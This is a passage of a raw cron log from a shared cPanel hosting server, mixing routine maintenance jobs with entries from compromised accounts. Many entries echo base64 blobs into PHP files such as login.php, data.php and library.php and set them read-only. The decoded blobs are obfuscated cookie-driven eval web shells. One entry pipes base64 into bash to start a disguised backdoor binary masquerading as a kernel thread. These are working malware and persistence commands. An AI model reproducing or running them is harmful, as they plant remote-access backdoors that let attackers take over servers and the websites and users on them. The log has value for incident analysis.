2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:58:01 medusa CROND[7017]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 10:58:01 medusa CROND[7018]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:58:01 medusa CROND[7019]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:58:01 medusa CROND[7020]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 10:58:01 medusa CROND[7022]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:58:01 medusa CROND[7034]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:59:02 medusa CROND[8506]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:59:02 medusa CROND[8508]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 10:59:02 medusa CROND[8509]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:59:02 medusa CROND[8507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:59:02 medusa CROND[8510]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:59:02 medusa CROND[8511]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:59:02 medusa CROND[8522]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:59:02 medusa CROND[8523]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:59:02 medusa CROND[8527]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:59:02 medusa CROND[8529]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:59:02 medusa CROND[8530]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:59:02 medusa CROND[8531]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:00:01 medusa CROND[10010]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Jun  7 11:00:01 medusa CROND[10012]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 11:00:01 medusa CROND[10036]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:00:01 medusa CROND[10041]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 11:00:01 medusa CROND[10042]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 11:00:01 medusa CROND[10043]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:00:01 medusa CROND[10044]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Jun  7 11:00:01 medusa CROND[10045]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 11:00:01 medusa CROND[10047]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Jun  7 11:00:01 medusa CROND[10048]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 11:00:01 medusa CROND[10046]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 11:00:01 medusa CROND[10051]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 11:00:01 medusa CROND[10053]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 11:00:01 medusa CROND[10056]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:00:01 medusa CROND[10057]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 11:00:01 medusa CROND[10058]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:00:01 medusa CROND[10060]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Jun  7 11:00:01 medusa CROND[10059]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:00:01 medusa CROND[10061]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:00:01 medusa CROND[10064]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Jun  7 11:00:01 medusa CROND[10063]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:00:01 medusa CROND[10052]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Jun  7 11:00:01 medusa CROND[10066]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Jun  7 11:00:01 medusa CROND[10069]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 11:00:01 medusa CROND[10068]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 11:00:01 medusa CROND[10071]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZX